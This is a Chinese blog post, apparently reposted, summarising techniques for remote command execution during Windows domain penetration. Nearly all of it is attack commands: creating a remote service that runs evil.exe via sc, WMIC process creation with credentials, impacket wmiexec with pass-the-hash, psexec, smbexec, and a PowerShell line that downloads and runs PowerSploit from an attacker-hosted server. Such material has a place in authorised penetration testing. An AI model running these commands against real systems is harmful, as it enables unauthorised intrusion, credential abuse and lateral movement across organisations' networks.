域渗透中利用ipc命令执行总结

admin 2021年7月14日01:00:50评论93 views字数 2191阅读7分18秒阅读模式

域环境搭建

参考 https://blog.csdn.net/niexinming/article/details/75650128

开启admin

域渗透中利用ipc命令执行总结

net share $ipc
net share $admin

直接执行

dir \IPc$
tasklist /S IP /U 用户 /P 密码

sc

sc \[HOST] create boom binpath= c:evil.exe
sc \[HOST] start boom
sc \[HOST] delete boom

wmic

wmic /node:172.18.16.172 /user:admin /password:password  process call create "cmd.exe /c ipconfig>c:result.txt"

域渗透中利用ipc命令执行总结

wmiexec.py

安装:

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install

用户密码

python wmiexec.py 用户名:密码@目标IP

域渗透中利用ipc命令执行总结

哈希传递

python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP

域渗透中利用ipc命令执行总结

wmiexec.vbs

cscript.exe wmiexec.vbs /cmd 172.18.16.172 administrator password “command

域渗透中利用ipc命令执行总结


powershell工具

Invoke-WmiCommand.ps1是PowerSploit中的一个脚本工具,该脚本主要通过powershell调用WMI来远程执行命令,本质上还是利用WMI。

下载地址:https://github.com/PowerShellMafia/PowerSploit


git clone https://github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit-masterPowerSploit-masterCodeExecution
python –m SimpleHTTPServer
powershell
IEX(New-Object Net.Webclient).DownloadString('http://xx.xx.xx.xx//Invoke-WmiCommand.ps1')
$User = "域名用户名"     // 指定目标系统用户名
$Password = ConvertTo-SecureString -String "文明密码" -AsPlainText -Force   // 指定目标系统的密码
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password    // 将账号和密码整合起来,以便导入credential
$Remote = Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput       // 将执行结果输出到屏幕上

域渗透中利用ipc命令执行总结

域渗透中利用ipc命令执行总结

域渗透中利用ipc命令执行总结

Invoke-WMIMethod.ps1(无回显)

Invoke-WMIMethod.ps1模块是powershell自带的,可以在远程系统中执行命令和指定程序。在powershell命令行环境执行如下命令,可以以非交互式的方式执行远程命令,但不会回显执行结果。

$User="域名用户名"    // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force   // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password     // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred   // 在远程系统中运行notepad.exe命令

域渗透中利用ipc命令执行总结

psexec

psexec.exe \ip –u 账号 –p 密码 cmd.exe /c ipconfig 

域渗透中利用ipc命令执行总结

smbexec

https://github.com/SecureAuthCorp/impacket
smbexec.py 用户名:密码@IP

参考文档

https://www.freebuf.com/articles/network/246440.html https://cloud.tencent.com/developer/article/1752145

作者:Leticia's Blog ,详情点击阅读原文。


推荐阅读域渗透中利用ipc命令执行总结
觉得不错点个“赞”、“在看”,支持下小编域渗透中利用ipc命令执行总结

本文始发于微信公众号(乌雲安全):域渗透中利用ipc命令执行总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月14日01:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透中利用ipc命令执行总结https://cn-sec.com/archives/421870.html

发表评论

匿名网友 填写信息